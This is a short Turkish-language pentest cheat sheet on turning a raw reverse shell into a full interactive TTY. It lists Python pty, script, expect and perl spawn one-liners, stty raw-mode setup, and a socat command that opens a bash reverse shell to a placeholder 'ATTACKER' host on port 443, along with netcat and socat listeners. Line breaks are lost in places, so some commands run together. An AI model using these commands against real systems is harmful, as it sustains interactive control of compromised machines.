Full TTYs
generic tty
Ham reverse shell’de su, ssh, vim ve tab-completion kırılır. PTY alloce
edip TERM ve window size ayarlamak gerekir.
Metodoloji
Section titled “Metodoloji”-
Hedefte python/script/socat var mı bak.
-
PTY spawn et; background’da shell’i suspend et.
-
Attacker tarafında raw TTY + stty size eşle.
-
fgile dön;su/editörleri doğrula.
Python PTY
Section titled “Python PTY”python3 -c 'import ptypty.spawn("/bin/bash")'# klasik üçlü# 1) python pty# 2) Ctrl-Z# 3) attacker:stty raw -echofg# shell içinde:export TERM=xterm-256colorstty rows 40 columns 120script / socat
Section titled “script / socat”script -qc /bin/bash /dev/nullsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:443# attackersocat file:`tty`,raw,echo=0 tcp-listen:443Expect / perl
Section titled “Expect / perl”expect -c 'spawn bashinteract'perl -e 'exec "/bin/sh"'PTY yoksa en azından rlwrap nc -lvnp 443 ile lokal history/ok tuşlarırlwrap nc -lvnp 443Checklist
Section titled “Checklist”[ ] PTY spawn edildi[ ] stty raw -echo; fg uygulandı[ ] TERM/rows/cols ayarlandı[ ] su/vim/ssh denendi